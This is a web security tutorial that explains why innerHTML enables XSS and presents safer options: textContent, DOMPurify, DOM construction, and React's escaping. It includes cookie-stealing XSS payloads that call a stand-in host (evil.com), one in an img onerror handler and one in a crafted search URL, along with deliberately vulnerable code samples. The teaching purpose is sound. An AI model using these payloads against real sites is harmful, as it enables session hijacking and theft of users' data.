innerHTML vs textContent

The API That Launched a Thousand Exploits

Every XSS vulnerability has a root cause, and more often than not, that root cause is innerHTML. It's the single most dangerous API in the DOM — not because it's poorly designed, but because it does exactly what you tell it to. You hand it a string, and it parses that string as HTML and injects the result into the page. If that string came from a user... well, you just gave them the keys to your entire application.

The thing is, most of the time you don't even need HTML parsing. You just want to put some text on the screen. That's what textContent is for, and understanding the difference between these two APIs is the foundation of frontend security.

innerHTML: The HTML Parser in Your Code

When you assign a string to innerHTML, the browser doesn't just drop text into the DOM. It runs the full HTML parser on that string — the same parser that processes your initial page load. It creates elements, sets attributes, builds a subtree, and replaces the element's children with that subtree.

const div = document.querySelector('#output');
div.innerHTML = '<strong>Hello</strong> <em>world</em>';

After this runs, div contains two child elements: a strong and an em, each with their own text node. The browser parsed HTML and constructed real DOM nodes.

This is powerful. It's also terrifying when the string comes from outside your control:

const username = getUserInput();
div.innerHTML = `Welcome, ${username}!`;

If username is Alice, great. If username is <img src=x onerror="document.location='https://evil.com/steal?cookie='+document.cookie">, the browser faithfully creates that img element, the src fails, the onerror handler fires, and the user's cookies are sent to the attacker. Game over.

textContent: The Safe Default

textContent sets the text content of a node. That's it. No parsing. No element creation. No attribute interpretation. It replaces all child nodes with a single text node containing the exact string you provided.

const div = document.querySelector('#output');
div.textContent = '<strong>Hello</strong>';

After this, div contains one text node with the literal characters <strong>Hello</strong> — angle brackets and all. The browser treats it as text, not markup. You'll see the raw tags displayed on screen.

This is exactly what you want 99% of the time. When you're displaying a username, a comment, a product title, or any user-provided data, you want it rendered as text, not parsed as HTML.

const username = getUserInput();
div.textContent = `Welcome, ${username}!`;

Now even if username contains malicious HTML, it's displayed as harmless text. The angle brackets show up as literal characters on screen.

textContent vs innerText

These two are often confused, but they're fundamentally different in how they handle the DOM:

const el = document.querySelector('#example');

el.textContent;
el.innerText;

Both return the text content of an element, but innerText is aware of CSS styling while textContent is not.

<div id="example">
  Hello <span style="display:none">Hidden</span> World
</div>

el.textContent  // "Hello Hidden World" — returns ALL text, ignoring CSS
el.innerText    // "Hello World" — respects display:none, returns visible text

The critical difference: innerText triggers a reflow to compute what's actually visible on screen. If you're setting text (not reading it), this means innerText is slower because it needs to recalculate layout. For setting content, always use textContent.

insertAdjacentHTML: innerHTML's Precise Cousin

insertAdjacentHTML does the same HTML parsing as innerHTML, but instead of replacing all children, it inserts at a specific position:

element.insertAdjacentHTML('beforebegin', html); // Before the element
element.insertAdjacentHTML('afterbegin', html);  // First child
element.insertAdjacentHTML('beforeend', html);   // Last child
element.insertAdjacentHTML('afterend', html);     // After the element

This has two advantages over innerHTML:

1. It doesn't destroy existing children — innerHTML wipes everything and rebuilds. insertAdjacentHTML only adds new nodes.
2. It's faster for appending — because it doesn't re-parse existing content.

But here's what doesn't change: it's equally dangerous for XSS. It still runs the HTML parser on your string. If that string contains untrusted content, you have the same vulnerability.

const comment = getUserInput();
element.insertAdjacentHTML('beforeend', `<p>${comment}</p>`);

This is just as exploitable as innerHTML. The parsing happens on the inserted HTML, regardless of the insertion position.

When innerHTML Is Actually Needed

There are legitimate cases where you need to inject HTML — you just need to make sure the HTML is safe:

1. Rendering trusted, developer-authored HTML

const BADGE_HTML = '<span class="badge badge-pro">PRO</span>';
container.innerHTML = BADGE_HTML;

This is fine because the string is hardcoded — no user input involved.

2. Rendering HTML from a CMS or markdown processor after sanitization

import DOMPurify from 'dompurify';

const dirtyHTML = await fetchBlogPost();
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
container.innerHTML = cleanHTML;

This is the pattern: untrusted HTML goes through a sanitizer before it touches innerHTML.

3. Server-rendered HTML that you're hydrating

When your server pre-renders HTML and the client needs to inject it, that's trusted content from your own server. Still, validate on the server side.

DOMPurify: The Industry Standard Sanitizer

DOMPurify is the go-to library for HTML sanitization. It parses the HTML, walks the DOM tree, and removes anything dangerous — script tags, event handlers, data URIs, and other attack vectors — while preserving safe formatting like bold, italic, links, and lists.

import DOMPurify from 'dompurify';

const dirty = `
  <p>Nice article!</p>
  <img src=x onerror="alert('hacked')">
  <script>stealCookies()</script>
  <a href="javascript:alert('xss')">click me</a>
  <b onmouseover="evil()">bold text</b>
`;

const clean = DOMPurify.sanitize(dirty);

After sanitization, clean contains:

<p>Nice article!</p>
<img src="x">
<a>click me</a>
<b>bold text</b>

DOMPurify removed the script tag entirely, stripped the onerror handler from the img, removed the javascript: URI from the link, and stripped the onmouseover handler from the b tag. The safe content structure is preserved.

Configuring DOMPurify

You can restrict what's allowed even further:

DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'title'],
});

This is defense in depth: even if DOMPurify has a bug in its script-stripping logic, the attacker still can't inject a script tag because it's not in the allow list.

The DOM API Alternative: Build Nodes, Not Strings

Instead of constructing HTML strings, you can build DOM nodes directly. This is inherently safe because you're creating elements and setting properties — not parsing HTML:

function createComment(username, text) {
  const wrapper = document.createElement('div');
  wrapper.className = 'comment';

  const name = document.createElement('strong');
  name.textContent = username;

  const body = document.createElement('p');
  body.textContent = text;

  wrapper.append(name, body);
  return wrapper;
}

container.append(createComment(userInput.name, userInput.text));

No HTML parsing happens here. textContent treats everything as plain text. Even if username is <script>alert('xss')</script>, it renders as literal text on screen.

Template Literals + DOM API

For more complex structures, combine document.createElement with template elements:

function createCard(title, description) {
  const template = document.createElement('template');
  template.innerHTML = `
    <div class="card">
      <h3 class="card-title"></h3>
      <p class="card-desc"></p>
    </div>
  `;

  const card = template.content.cloneNode(true);
  card.querySelector('.card-title').textContent = title;
  card.querySelector('.card-desc').textContent = description;

  return card;
}

The template's innerHTML is safe here because it contains only your hardcoded structure — no user data. The user data goes through textContent, which is always safe. This pattern gives you the readability of HTML templates with the safety of DOM APIs.

React's dangerouslySetInnerHTML

React doesn't have innerHTML. Instead, it has dangerouslySetInnerHTML — and that name is intentional. React's team wanted you to type out "dangerously" every single time you inject raw HTML, as a constant reminder that you're bypassing React's automatic XSS protection.

function BlogPost({ content }) {
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

React escapes all string values in JSX by default. When you write {userInput} in JSX, React calls the equivalent of textContent — it creates a text node, not HTML. dangerouslySetInnerHTML explicitly opts out of this protection.

When dangerouslySetInnerHTML Is Justified

Rendering sanitized rich text from a CMS:

import DOMPurify from 'dompurify';

function RichContent({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Rendering pre-processed markdown (already converted to HTML):

function MarkdownContent({ htmlFromMarkdown }) {
  const clean = DOMPurify.sanitize(htmlFromMarkdown);
  return <article dangerouslySetInnerHTML={{ __html: clean }} />;
}

Injecting syntax-highlighted code (from a trusted highlighter like Shiki):

function CodeBlock({ highlightedHTML }) {
  return <pre dangerouslySetInnerHTML={{ __html: highlightedHTML }} />;
}

Shiki output is trusted because it's generated by your build process from source code you control, not from user input.

The Decision Tree

When you need to put content in the DOM, follow this order:

1. Is it plain text? Use textContent. Done.
2. Is it HTML you wrote in your source code? Use innerHTML or insertAdjacentHTML. It's your code — it's trusted.
3. Is it HTML from an external source (CMS, API, user input)? Sanitize with DOMPurify first, then use innerHTML.
4. Can you restructure to avoid HTML strings entirely? Use the DOM API (createElement + textContent). This is the safest pattern because there's no HTML parsing at all.
5. In React? Just use JSX — it escapes by default. Only use dangerouslySetInnerHTML with sanitized HTML when you genuinely need rich text rendering.

Real-World XSS: How innerHTML Gets Exploited

Here's a pattern that shows up in production more than you'd think — a search page that reflects the query:

const query = new URLSearchParams(location.search).get('q');
document.getElementById('results-title').innerHTML =
  `Results for "${query}"`;

An attacker crafts this URL:

https://yourapp.com/search?q=<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

When the victim clicks that link, their browser:

1. Loads your page
2. Reads the q parameter
3. Passes the malicious string to innerHTML
4. The browser parses it as HTML, creates the img element
5. The src=x fails, triggering onerror
6. The attacker's JavaScript executes, stealing the user's session cookie

The fix is trivial:

const query = new URLSearchParams(location.search).get('q');
document.getElementById('results-title').textContent =
  `Results for "${query}"`;

One word changed — innerHTML to textContent — and the vulnerability is eliminated.